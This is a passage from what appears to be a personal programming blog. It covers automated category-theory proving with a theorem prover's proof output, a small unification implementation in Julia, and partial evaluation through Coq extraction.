formulation for category theory properties? An interesting property is that these provers seem to want a time limit given to them. And they schedule themselves in such a way to use the full time limit, even if they shouldn’t need it. Categorical “type checking” as an external predicate. In order to compose, morphisms need to meet on an intermediate object. The proof output is rather difficult to read. It is the equivalent of trying to read assembly code. The high level structure has been transformed into something more amenable to the machine and many names have been mangled. This proof is short enough that I think a person could stare at it for a while an eventually kind of understand it. Perhaps we want to directly input our constructions in cnf form with skolemization manually applied. This might make the output more readable? In terms of automated category theory proving, I’m not aware of that much work, but there must be more that I don’t know how to find. Example proof term: Is this even right? Hard to know. # Proof found! # SZS status Theorem # SZS output start CNFRefutation fof(pullback_monic, conjecture, ![X11, X13, X14]:((monic(X11)&pullback(cod(X11),X11,X13,X14))=>monic(X14)), file('properties.tptp', pullback_monic)). fof(pullback_def, axiom, ![X2, X3, X13, X14]:(pullback(X2,X3,X13,X14)<=>(commute_square(X2,X13,X3,X14)&![X15, X16]:(commute_square(X2,X15,X3,X16)=>?[X17]:![X18]:((comp(X13,X18,X15)&comp(X14,X18,X16))<=>X18=X17)))), file('properties.tptp', pullback_def)). fof(commute_square_def, axiom, ![X2, X3, X7, X12]:(commute_square(X2,X3,X7,X12)<=>?[X11]:(comp(X2,X3,X11)&comp(X7,X12,X11))), file('properties.tptp', commute_square_def)). fof(comp_objects_middle, axiom, ![X2, X3]:(?[X6]:comp(X2,X3,X6)<=>dom(X2)=cod(X3)), file('cat.tptp', comp_objects_middle)). fof(dom_cod, axiom, ![X1]:dom(cod(X1))=cod(X1), file('cat.tptp', dom_cod)). fof(left_id, axiom, ![X2]:comp(cod(X2),X2,X2), file('cat.tptp', left_id)). fof(comp_is_unique, axiom, ![X2, X3, X4, X5]:((comp(X2,X3,X4)&comp(X2,X3,X5))=>X4=X5), file('cat.tptp', comp_is_unique)). fof(monic_def, axiom, ![X11]:(monic(X11)<=>![X2, X3]:(?[X7]:(comp(X11,X2,X7)&comp(X11,X3,X7))=>X2=X3)), file('properties.tptp', monic_def)). fof(comp_cod, axiom, ![X2, X3, X6]:(comp(X2,X3,X6)=>cod(X2)=cod(X6)), file('cat.tptp', comp_cod)). fof(comp_dom, axiom, ![X2, X3, X6]:(comp(X2,X3,X6)=>dom(X3)=dom(X6)), file('cat.tptp', comp_dom)). fof(comp_assoc, axiom, ![X2, X3, X7, X6, X8, X9, X10]:((((comp(X2,X3,X6)&comp(X6,X7,X9))&comp(X2,X8,X10))&comp(X3,X7,X8))=>X9=X10), file('cat.tptp', comp_assoc)). fof(c_0_11, negated_conjecture, ~(![X11, X13, X14]:((monic(X11)&pullback(cod(X11),X11,X13,X14))=>monic(X14))), inference(assume_negation,[status(cth)],[pullback_monic])). fof(c_0_12, plain, ![X68, X69, X70, X71, X72, X73, X75, X76, X77, X78, X79, X80, X83]:(((commute_square(X68,X70,X69,X71)|~pullback(X68,X69,X70,X71))&((~comp(X70,X75,X72)|~comp(X71,X75,X73)|X75=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71))&((comp(X70,X76,X72)|X76!=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71))&(comp(X71,X76,X73)|X76!=esk7_6(X68,X69,X70,X71,X72,X73)|~commute_square(X68,X72,X69,X73)|~pullback(X68,X69,X70,X71)))))&((commute_square(X77,esk8_4(X77,X78,X79,X80),X78,esk9_4(X77,X78,X79,X80))|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&((~comp(X79,esk10_5(X77,X78,X79,X80,X83),esk8_4(X77,X78,X79,X80))|~comp(X80,esk10_5(X77,X78,X79,X80,X83),esk9_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)!=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&((comp(X79,esk10_5(X77,X78,X79,X80,X83),esk8_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80))&(comp(X80,esk10_5(X77,X78,X79,X80,X83),esk9_4(X77,X78,X79,X80))|esk10_5(X77,X78,X79,X80,X83)=X83|~commute_square(X77,X79,X78,X80)|pullback(X77,X78,X79,X80)))))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[pullback_def])])])])])])). fof(c_0_13, negated_conjecture, ((monic(esk11_0)&pullback(cod(esk11_0),esk11_0,esk12_0,esk13_0))&~monic(esk13_0)), inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[c_0_11])])])). fof(c_0_14, plain, ![X58, X59, X60, X61, X63, X64, X65, X66, X67]:(((comp(X58,X59,esk6_4(X58,X59,X60,X61))|~commute_square(X58,X59,X60,X61))&(comp(X60,X61,esk6_4(X58,X59,X60,X61))|~commute_square(X58,X59,X60,X61)))&(~comp(X63,X64,X67)|~comp(X65,X66,X67)|commute_square(X63,X64,X65,X66))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[commute_square_def])])])])])])). cnf(c_0_15, plain, (commute_square(X1,X2,X3,X4)|~pullback(X1,X3,X2,X4)), inference(split_conjunct,[status(thm)],[c_0_12])). cnf(c_0_16, negated_conjecture, (pullback(cod(esk11_0),esk11_0,esk12_0,esk13_0)), inference(split_conjunct,[status(thm)],[c_0_13])). fof(c_0_17, plain, ![X25, X26, X27, X28, X29]:((~comp(X25,X26,X27)|dom(X25)=cod(X26))&(dom(X28)!=cod(X29)|comp(X28,X29,esk1_2(X28,X29)))), inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_objects_middle])])])])])). cnf(c_0_18, plain, (comp(X1,X2,esk6_4(X1,X2,X3,X4))|~commute_square(X1,X2,X3,X4)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_19, negated_conjecture, (commute_square(cod(esk11_0),esk12_0,esk11_0,esk13_0)), inference(spm,[status(thm)],[c_0_15, c_0_16])). fof(c_0_20, plain, ![X19]:dom(cod(X19))=cod(X19), inference(variable_rename,[status(thm)],[dom_cod])). fof(c_0_21, plain, ![X37]:comp(cod(X37),X37,X37), inference(variable_rename,[status(thm)],[left_id])). cnf(c_0_22, plain, (dom(X1)=cod(X2)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_17])). cnf(c_0_23, negated_conjecture, (comp(cod(esk11_0),esk12_0,esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0))), inference(spm,[status(thm)],[c_0_18, c_0_19])). cnf(c_0_24, plain, (dom(cod(X1))=cod(X1)), inference(split_conjunct,[status(thm)],[c_0_20])). fof(c_0_25, plain, ![X21, X22, X23, X24]:(~comp(X21,X22,X23)|~comp(X21,X22,X24)|X23=X24), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_is_unique])])). cnf(c_0_26, plain, (comp(cod(X1),X1,X1)), inference(split_conjunct,[status(thm)],[c_0_21])). cnf(c_0_27, negated_conjecture, (cod(esk12_0)=cod(esk11_0)), inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_22, c_0_23]), c_0_24])). fof(c_0_28, plain, ![X46, X47, X48, X49, X50]:((~monic(X46)|(~comp(X46,X47,X49)|~comp(X46,X48,X49)|X47=X48))&(((comp(X50,esk2_1(X50),esk4_1(X50))|monic(X50))&(comp(X50,esk3_1(X50),esk4_1(X50))|monic(X50)))&(esk2_1(X50)!=esk3_1(X50)|monic(X50)))), inference(distribute,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(skolemize,[status(esa)],[inference(variable_rename,[status(thm)],[inference(shift_quantors,[status(thm)],[inference(fof_nnf,[status(thm)],[monic_def])])])])])])). cnf(c_0_29, plain, (X3=X4|~comp(X1,X2,X3)|~comp(X1,X2,X4)), inference(split_conjunct,[status(thm)],[c_0_25])). cnf(c_0_30, negated_conjecture, (comp(cod(esk11_0),esk12_0,esk12_0)), inference(spm,[status(thm)],[c_0_26, c_0_27])). fof(c_0_31, plain, ![X34, X35, X36]:(~comp(X34,X35,X36)|cod(X34)=cod(X36)), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_cod])])). cnf(c_0_32, negated_conjecture, (~monic(esk13_0)), inference(split_conjunct,[status(thm)],[c_0_13])). cnf(c_0_33, plain, (comp(X1,esk2_1(X1),esk4_1(X1))|monic(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_34, plain, (comp(X1,X2,esk6_4(X3,X4,X1,X2))|~commute_square(X3,X4,X1,X2)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_35, plain, (comp(X1,esk3_1(X1),esk4_1(X1))|monic(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_36, negated_conjecture, (X1=esk12_0|~comp(cod(esk11_0),esk12_0,X1)), inference(spm,[status(thm)],[c_0_29, c_0_30])). cnf(c_0_37, plain, (cod(X1)=cod(X3)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_31])). cnf(c_0_38, negated_conjecture, (comp(esk13_0,esk2_1(esk13_0),esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_32, c_0_33])). cnf(c_0_39, negated_conjecture, (comp(esk11_0,esk13_0,esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0))), inference(spm,[status(thm)],[c_0_34, c_0_19])). cnf(c_0_40, negated_conjecture, (comp(esk13_0,esk3_1(esk13_0),esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_32, c_0_35])). fof(c_0_41, plain, ![X31, X32, X33]:(~comp(X31,X32,X33)|dom(X32)=dom(X33)), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_dom])])). cnf(c_0_42, negated_conjecture, (esk6_4(cod(esk11_0),esk12_0,esk11_0,esk13_0)=esk12_0), inference(spm,[status(thm)],[c_0_36, c_0_23])). cnf(c_0_43, negated_conjecture, (cod(esk4_1(esk13_0))=cod(esk13_0)), inference(spm,[status(thm)],[c_0_37, c_0_38])). cnf(c_0_44, negated_conjecture, (cod(esk13_0)=dom(esk11_0)), inference(spm,[status(thm)],[c_0_22, c_0_39])). cnf(c_0_45, plain, (comp(X1,X2,esk1_2(X1,X2))|dom(X1)!=cod(X2)), inference(split_conjunct,[status(thm)],[c_0_17])). cnf(c_0_46, negated_conjecture, (cod(esk3_1(esk13_0))=dom(esk13_0)), inference(spm,[status(thm)],[c_0_22, c_0_40])). cnf(c_0_47, plain, (dom(X2)=dom(X3)|~comp(X1,X2,X3)), inference(split_conjunct,[status(thm)],[c_0_41])). cnf(c_0_48, negated_conjecture, (comp(esk11_0,esk13_0,esk12_0)), inference(rw,[status(thm)],[c_0_39, c_0_42])). cnf(c_0_49, negated_conjecture, (cod(esk4_1(esk13_0))=dom(esk11_0)), inference(rw,[status(thm)],[c_0_43, c_0_44])). fof(c_0_50, plain, ![X39, X40, X41, X42, X43, X44, X45]:(~comp(X39,X40,X42)|~comp(X42,X41,X44)|~comp(X39,X43,X45)|~comp(X40,X41,X43)|X44=X45), inference(variable_rename,[status(thm)],[inference(fof_nnf,[status(thm)],[comp_assoc])])). cnf(c_0_51, negated_conjecture, (comp(X1,esk3_1(esk13_0),esk1_2(X1,esk3_1(esk13_0)))|dom(X1)!=dom(esk13_0)), inference(spm,[status(thm)],[c_0_45, c_0_46])). cnf(c_0_52, negated_conjecture, (dom(esk12_0)=dom(esk13_0)), inference(spm,[status(thm)],[c_0_47, c_0_48])). cnf(c_0_53, negated_conjecture, (comp(X1,esk4_1(esk13_0),esk1_2(X1,esk4_1(esk13_0)))|dom(X1)!=dom(esk11_0)), inference(spm,[status(thm)],[c_0_45, c_0_49])). cnf(c_0_54, plain, (X5=X7|~comp(X1,X2,X3)|~comp(X3,X4,X5)|~comp(X1,X6,X7)|~comp(X2,X4,X6)), inference(split_conjunct,[status(thm)],[c_0_50])). cnf(c_0_55, negated_conjecture, (comp(esk12_0,esk3_1(esk13_0),esk1_2(esk12_0,esk3_1(esk13_0)))), inference(spm,[status(thm)],[c_0_51, c_0_52])). cnf(c_0_56, negated_conjecture, (cod(esk2_1(esk13_0))=dom(esk13_0)), inference(spm,[status(thm)],[c_0_22, c_0_38])). cnf(c_0_57, plain, (commute_square(X1,X2,X4,X5)|~comp(X1,X2,X3)|~comp(X4,X5,X3)), inference(split_conjunct,[status(thm)],[c_0_14])). cnf(c_0_58, negated_conjecture, (comp(esk11_0,esk4_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(er,[status(thm)],[c_0_53])). cnf(c_0_59, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=X1|~comp(X2,esk3_1(esk13_0),X3)|~comp(X4,X2,esk12_0)|~comp(X4,X3,X1)), inference(spm,[status(thm)],[c_0_54, c_0_55])). cnf(c_0_60, negated_conjecture, (comp(X1,esk2_1(esk13_0),esk1_2(X1,esk2_1(esk13_0)))|dom(X1)!=dom(esk13_0)), inference(spm,[status(thm)],[c_0_45, c_0_56])). cnf(c_0_61, plain, (X2=esk7_6(X6,X7,X1,X4,X3,X5)|~comp(X1,X2,X3)|~comp(X4,X2,X5)|~commute_square(X6,X3,X7,X5)|~pullback(X6,X7,X1,X4)), inference(split_conjunct,[status(thm)],[c_0_12])). cnf(c_0_62, negated_conjecture, (commute_square(X1,X2,esk11_0,esk4_1(esk13_0))|~comp(X1,X2,esk1_2(esk11_0,esk4_1(esk13_0)))), inference(spm,[status(thm)],[c_0_57, c_0_58])). cnf(c_0_63, negated_conjecture, (cod(esk1_2(esk11_0,esk4_1(esk13_0)))=cod(esk11_0)), inference(spm,[status(thm)],[c_0_37, c_0_58])). cnf(c_0_64, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))|~comp(X1,esk3_1(esk13_0),esk4_1(esk13_0))|~comp(esk11_0,X1,esk12_0)), inference(spm,[status(thm)],[c_0_59, c_0_58])). cnf(c_0_65, negated_conjecture, (comp(esk12_0,esk2_1(esk13_0),esk1_2(esk12_0,esk2_1(esk13_0)))), inference(spm,[status(thm)],[c_0_60, c_0_52])). cnf(c_0_66, negated_conjecture, (X1=esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,X2,X3)|~commute_square(cod(esk11_0),X2,esk11_0,X3)|~comp(esk13_0,X1,X3)|~comp(esk12_0,X1,X2)), inference(spm,[status(thm)],[c_0_61, c_0_16])). cnf(c_0_67, negated_conjecture, (commute_square(cod(esk11_0),esk1_2(esk11_0,esk4_1(esk13_0)),esk11_0,esk4_1(esk13_0))), inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_62, c_0_26]), c_0_63])). cnf(c_0_68, negated_conjecture, (esk1_2(esk12_0,esk3_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_64, c_0_48]), c_0_40])])). cnf(c_0_69, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=X1|~comp(X2,esk2_1(esk13_0),X3)|~comp(X4,X2,esk12_0)|~comp(X4,X3,X1)), inference(spm,[status(thm)],[c_0_54, c_0_65])). cnf(c_0_70, negated_conjecture, (X1=esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,esk1_2(esk11_0,esk4_1(esk13_0)),esk4_1(esk13_0))|~comp(esk12_0,X1,esk1_2(esk11_0,esk4_1(esk13_0)))|~comp(esk13_0,X1,esk4_1(esk13_0))), inference(spm,[status(thm)],[c_0_66, c_0_67])). cnf(c_0_71, negated_conjecture, (comp(esk12_0,esk3_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(rw,[status(thm)],[c_0_55, c_0_68])). cnf(c_0_72, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))|~comp(X1,esk2_1(esk13_0),esk4_1(esk13_0))|~comp(esk11_0,X1,esk12_0)), inference(spm,[status(thm)],[c_0_69, c_0_58])). cnf(c_0_73, negated_conjecture, (esk7_6(cod(esk11_0),esk11_0,esk12_0,esk13_0,esk1_2(esk11_0,esk4_1(esk13_0)),esk4_1(esk13_0))=esk3_1(esk13_0)), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_70, c_0_40]), c_0_71])])). cnf(c_0_74, negated_conjecture, (esk1_2(esk12_0,esk2_1(esk13_0))=esk1_2(esk11_0,esk4_1(esk13_0))), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_72, c_0_48]), c_0_38])])). cnf(c_0_75, negated_conjecture, (X1=esk3_1(esk13_0)|~comp(esk12_0,X1,esk1_2(esk11_0,esk4_1(esk13_0)))|~comp(esk13_0,X1,esk4_1(esk13_0))), inference(rw,[status(thm)],[c_0_70, c_0_73])). cnf(c_0_76, negated_conjecture, (comp(esk12_0,esk2_1(esk13_0),esk1_2(esk11_0,esk4_1(esk13_0)))), inference(rw,[status(thm)],[c_0_65, c_0_74])). cnf(c_0_77, plain, (monic(X1)|esk2_1(X1)!=esk3_1(X1)), inference(split_conjunct,[status(thm)],[c_0_28])). cnf(c_0_78, negated_conjecture, (esk3_1(esk13_0)=esk2_1(esk13_0)), inference(cn,[status(thm)],[inference(rw,[status(thm)],[inference(spm,[status(thm)],[c_0_75, c_0_38]), c_0_76])])). cnf(c_0_79, negated_conjecture, ($false), inference(sr,[status(thm)],[inference(spm,[status(thm)],[c_0_77, c_0_78]), c_0_32]), ['proof']).
# SZS output end CNFRefutation
# Proof object total steps             : 80
# Proof object clause steps            : 57
# Proof object formula steps           : 23
# Proof object conjectures             : 44
# Proof object clause conjectures      : 41
# Proof object formula conjectures     : 3
# Proof object initial clauses used    : 18
# Proof object initial formulas used   : 11
# Proof object generating inferences   : 34
# Proof object simplifying inferences  : 16
# Training examples: 0 positive, 0 negative
# Parsed axioms                        : 14
# Removed by relevancy pruning/SinE    : 0
# Initial clauses                      : 31
# Removed in clause preprocessing      : 0
# Initial clauses in saturation        : 31
# Processed clauses                    : 4871
# ...of these trivial                  : 248
# ...subsumed                          : 2833
# ...remaining for further processing  : 1790
# Other redundant clauses eliminated   : 2
# Clauses deleted for lack of memory   : 0
# Backward-subsumed                    : 68
# Backward-rewritten                   : 917
# Generated clauses                    : 12894
# ...of the previous two non-trivial   : 12112
# Contextual simplify-reflections      : 0
# Paramodulations                      : 12870
# Factorizations                       : 0
# Equation resolutions                 : 24
# Propositional unsat checks           : 0
#    Propositional check models        : 0
#    Propositional check unsatisfiable : 0
#    Propositional clauses             : 0
#    Propositional clauses after purity: 0
#    Propositional unsat core size     : 0
#    Propositional preprocessing time  : 0.000
#    Propositional encoding time       : 0.000
#    Propositional solver time         : 0.000
#    Success case prop preproc time    : 0.000
#    Success case prop encoding time   : 0.000
#    Success case prop solver time     : 0.000
# Current number of processed clauses  : 772
#    Positive orientable unit clauses  : 155
#    Positive unorientable unit clauses: 0
#    Negative unit clauses             : 1
#    Non-unit-clauses                  : 616
# Current number of unprocessed clauses: 5468
# ...number of literals in the above   : 16715
# Current number of archived formulas  : 0
# Current number of archived clauses   : 1016
# Clause-clause subsumption calls (NU) : 303883
# Rec. Clause-clause subsumption calls : 253866
# Non-unit clause-clause subsumptions  : 2890
# Unit Clause-clause subsumption calls : 1530
# Rewrite failures with RHS unbound    : 0
# BW rewrite match attempts            : 1110
# BW rewrite match successes           : 80
# Condensation attempts                : 0
# Condensation successes               : 0
# Termbank termtop insertions          : 267453

## Unification in Julia

Unification is a workhorse of symbolic computations. Comparing two terms (two syntax trees with named variables spots) we can figure out the most general substitution for the variables to make them syntactically match.

It is a sister to pattern matching, but it has an intrinsic bidirectional flavor that makes it feel more powerful and declarative.

Unification can be implemented efficiently (not that I have done so yet) with some interesting variants of the disjoint set / union-find data type.

• The magic of Prolog is basically built in unification + backtracking search.
• The magic of polymorphic type inference in Haskell and OCaml comes from unification of type variables.
• Part of magic of SMT solvers using the theory of uninterpreted functions is unification.
• Automatic and Interactive Theorem provers have unification built in somewhere.

To describe terms I made a simple data types for variables modelled of those in SymbolicUtils (I probably should just use the definitions in SymbolicUtils but i was trying to keep it simple).

#variables
struct Sym
name::Symbol
end

struct Term
f::Symbol
arguments::Array{Any} # Array{Union{Term,Sym}} faster/better?
end

The implementation by Norvig and Russell for the their AI book is an often copied simple implementation of unification. It is small and kind of straightforward. You travel down the syntax trees and when you hit variables you try to put them into your substitution dictionary. Although, like anything that touches substitution, it can be easy to get wrong. See his note below.

I used the multiple dispatch as a kind of pattern matching on algebraic data types whether the variables are terms or variables. It’s kind of nice, but unclear to me whether obscenely slow or not. This is not a high performance implementation of unification in any case.

occur_check(x::Sym,y::Term,s) = any(occur_check(x, a, s) for a in y.arguments)

function occur_check(x::Sym,y::Sym,s)
if x == y
return s
return occur_check(x, s[y], s)
else
return nothing
end
end

function unify(x::Sym, y::Union{Sym,Term}, s)
if x == y
return s
return unify(s[x], y, s)
elseif haskey(s,y) # This is the norvig twist
return unify(x, s[y], s)
elseif occur_check(x,y,s)
return nothing
else
s[x] = y
return s
end
end

unify(x::Term, y::Sym, s) = unify(y,x,s)

function unify(x :: Term, y :: Term, s)
if x.f == y.f && length(x.arguments) == length(y.arguments)
for (x1, y1) in zip(x.arguments, y.arguments)
if unify(x1,y1,s) == nothing
return nothing
end
end
return s
else
return nothing
end
end

unify(x,y) = unify(x,y,Dict())

I also made a small macro function for converting simple julia expressions to my representation. It uses the prolog convention that capital letter starting names are variables.

function string2term(x)
if x isa Symbol
name = String(x)
if isuppercase(name[1])
return Sym( x)
else
return Term( x, []  )
end
elseif x isa Expr
arguments = [string2term(y) for y in x.args[2:end] ]
return Term( x.args[1], arguments )
end
end
macro string2term(x)
return :( \$(string2term(x)) )
end

print(unify( @string2term(p(X,g(a), f(a, f(a)))) , @string2term(p(f(a), g(Y), f(Y, Z)))))
# Dict{Any,Any}(Sym(:X) => Term(:f, Any[Term(:a, Any[])]),Sym(:Y) => Term(:a, Any[]),Sym(:Z) => Term(:f, Any[Term(:a, Any[])]))

Unification: Multidisciplinary Survey by Knight https://kevincrawfordknight.github.io/papers/unification-knight.pdf

https://github.com/roberthoenig/FirstOrderLogic.jl/tree/master/src A julia project for first order logic that also has a unification implementation, and other stuff

An interesting category theoretic perspective on unification http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.48.3615 what is unification by Goguen

There is also a slightly hidden implementation in sympy (it does not appear in the docs?) http://matthewrocklin.com/blog/work/2012/11/01/Unification https://github.com/sympy/sympy/tree/master/sympy/unify

http://norvig.com/unify-bug.pdf

Efficient unification note
ftp://ftp.cs.indiana.edu/pub/techreports/TR242.pdf

Efficient representations for triangular substitituions
https://users.soe.ucsc.edu/~lkuper/papers/walk.pdf

conor mcbride – first order substitition structurly recursive dependent types

z3 unifier – an example of an actually performant unifier
https://github.com/Z3Prover/z3/blob/520ce9a5ee6079651580b6d83bc2db0f342b8a20/src/ast/substitution/unifier.cpp

Warren Abstract Machine Tutorial Reconstruction http://wambook.sourceforge.net/wambook.pdf

Handbook of Automated Reasoning – has a chapter on unification

Higher Order Unification – LambdaProlog, Miller unification

Syntax trees with variables in them are a way in which to represent sets of terms (possibly infinite sets!). In that sense it asks can we form the union or intersection of these sets. The intersection is the most general unifier. The union is not expressible via a single term with variables in general. We can only over approximate it, like how the union of convex sets is not necessarily convex, however it’s hull is. This is a join on a term lattice. This is the process of anti-unification.

What about the complement of these sets? Not really. Not with the representation we’ve chosen, we can’t have an interesting negation. What about the difference of two sets?

I had an idea a while back about programming with relations, where I laid out some interesting combinators. I represented only finite relations, as those can be easily enumerated.

## MetaOCaml style Partial Evaluation in Coq

MetaOCaml is a very cool system for partial evaluation. I’m very jealous.

If one chooses to ignore the proof aspects of Coq for a moment, it becomes a bizarre Ocaml metaprogramming system on insane steroids. Coq has very powerful evaluation mechanisms built in. Why not use these to perform partial evaluation?

We had a really fun project at work where we did partial evaluation in Coq and I’ve been tinkering around with how to make the techniques we eventually stumbled onto there less ad hoc feeling.

A problem I encountered is that it is somewhat difficult to get controlled evaluation in Coq. The fastest evaluation tactics vm_compute and native_compute do not let you protect values from unfolding. There is a construct that is protected though. Axioms added to Coq cannot be unfolded by construction, but can be extracted. So I think a useful mantra here is axioms ~ code.

Require Import Extraction.
Axiom PCode : Type -> Type.
Extract Constant PCode "'a" => "'a".

Axiom block : forall {a : Type}, a -> PCode a.
Extract Inlined Constant block => "".

It is useful to mark what things you expect to run and which you expect to block execution in the type. You can mark everything that is opaque with a type PCode. block is a useful combinator. It is not a quote combinator however, as it will allow evaluation underneath of it. Nothing however will be able to inspect a blocked piece of code. It’s amusing that the blocking of computation of axioms is exactly what people dislike, but here it is the feature we desire. PCode is short for partial code indicating that it is possible for evaluation to occur within it. We’ll see a Code that is more similar to MetaOcaml’s later.

It is a touch fishy to extract block as nothing "" rather than an identity function (fun x -> x). It is rather cute though, and I suspect that you won’t find block occurring in a higher order context although I could easily be wrong (ahhh the sweet dark freedom of ignoring correctness). If this makes you queasy, you can put the function in, which is likely to compiled away, especially if you use the flambda switch. Not as pretty an output though.

We can play a similar extraction game with two HOAS-ish combinators.

Axiom ocaml_lam : forall {a b: Type}, (PCode a -> PCode b) -> PCode (a -> b).
Extract Inlined Constant ocaml_lam => "".

Axiom ocaml_app : forall {a b : Type},  PCode (a -> b) -> PCode a -> PCode b.
Extract Inlined Constant ocaml_app => "".

Here are some examples of other primitives we might add. The extra imports makes extraction turn nat into the native Ocaml int type, which is nice. It is not made so clear in the Coq manual that you should use these libraries to get good extraction of some standard types (perhaps I missed it or should make a pull request). You can find the full set of such things here: https://github.com/coq/coq/tree/master/theories/extraction

From Coq.extraction Require Import ExtrOcamlBasic ExtrOcamlNatInt.
Axiom ocaml_add : PCode nat -> PCode nat -> PCode nat.
Extract Inlined Constant ocaml_add => "(+)".
Axiom ocaml_mul : PCode nat -> PCode nat -> PCode nat.
Extract Inlined Constant ocaml_mul => "(*)".

If we had instead used the Coq definition of nat addition, it wouldn’t be protected during vm_compute, even if we wrapped it in block. It would unfold plus into it’s recursive definition, which is not what you want for extraction. We want to extract (+) to native ocaml (+).

You can add in other primitives as you see fit. Some things can get by merely using block, such as lifting literals.

Here is a very simplistic unrolling of a power function with a compile time known exponent, following Kiselyov’s lead.

Fixpoint pow1 (n : nat) (x : PCode nat) : PCode nat :=
match n with
| O => block 1
| S O => x
| S n' => ocaml_mul x (pow1 n' x)
end.

Definition pow2 (n : nat) : PCode (nat -> nat) := ocaml_lam (fun x => pow1 n x).

Definition compilepow : PCode (nat -> nat) := Eval native_compute in pow2 4.
Extraction compilepow.
(*

(** val compilepow : (int -> int) pCode **)

let compilepow =
(fun x -> (*) x ((*) x ((*) x x)))

*)

What about if you want a quasiquoting interface though? Well here is one suggestion. The same code should become either PCode or more ordinary Coq values depending on whether you decide to quote it or not. So you want overloadable syntax. This can be achieved via a typeclass.

(* No, I don't really know what Symantics means. Symbolic semantics? It's an Oleg-ism.
*)
Class Symantics (repr : Type -> Type) :=
{
lnat : nat -> repr nat;
lbool : bool -> repr bool;
lam : forall {a b}, (repr a -> repr b) -> repr (a -> b);
app : forall {a b},  repr (a -> b) -> repr a -> repr b;
add : repr nat -> repr nat -> repr nat;
mul : repr nat -> repr nat -> repr nat
}.

(* A simple do nothing newtype wrapper for the typeclass *)
Record R a := { unR : a }.
Arguments Build_R {a}.
Arguments unR {a}.
(* Would Definition R (a:Type) := a. be okay? *)

Instance regularsym : Symantics R :=
{|
lnat := Build_R;
lbool := Build_R;
lam := fun a b f => Build_R (fun x => unR (f (Build_R (a:= a) x)));
app := fun _ _ f x => Build_R ((unR f) (unR x));
add := fun x y => Build_R ((unR x) + (unR y));
mul := fun x y => Build_R ((unR x) * (unR y));
|}.

Instance codesym : Symantics PCode :=
{|
lnat := block;
lbool := block;
lam := fun a b => ocaml_lam (a := a) (b := b);
app := fun a b => ocaml_app (a := a) (b := b);
mul := ocaml_mul
|}.



Now we’ve overloaded the meaning of the base combinators. The type PCode vs R labels which “mode” of evaluation we’re in, “mode” being which typeclass instance we’re using. Here are two combinators for quasiquoting that were somewhat surprising to me, but so far seem to be working. quote takes a value of type a being evaluated in “Code mode” and makes it a value of type Code a being evaluated in “R mode”. And splice sort of undoes that. I would have used the MetaOcaml syntax, but using periods in the notation seemed to make coq not happy.

Definition Code : Type -> Type := fun a => R (PCode a).

Definition quote {a}  : PCode a -> Code  a := Build_R.
Definition splice {a} : Code a  -> PCode a := unR.

Declare Scope quote_scope.
Notation "<' x '>" := (quote x) : quote_scope.
Notation "<, x ,>" := (splice x) : quote_scope.

Notation "n + m" := (add n m) : quote_scope.
Notation "n * m" := (mul n m) : quote_scope.

Now you can take the same version of code, add quote/splice annotations and get a partially evaluated version. The thing doesn’t type check if you don’t add the appropriate annotations.

Open Scope quote_scope.

Fixpoint pow1' (n : nat) (x : Code nat) : Code nat :=
match n with
| O => quote (lnat 1)
| S O => x
| S n' => <' <, x ,> * <, pow1' n' x ,> '>
end.

Definition pow2' (n : nat) : Code (nat -> nat) := <' lam (fun x => <, pow1' n <' x '> ,> ) '>.

Definition compilepow' : Code (nat -> nat) := Eval native_compute in pow2' 4.
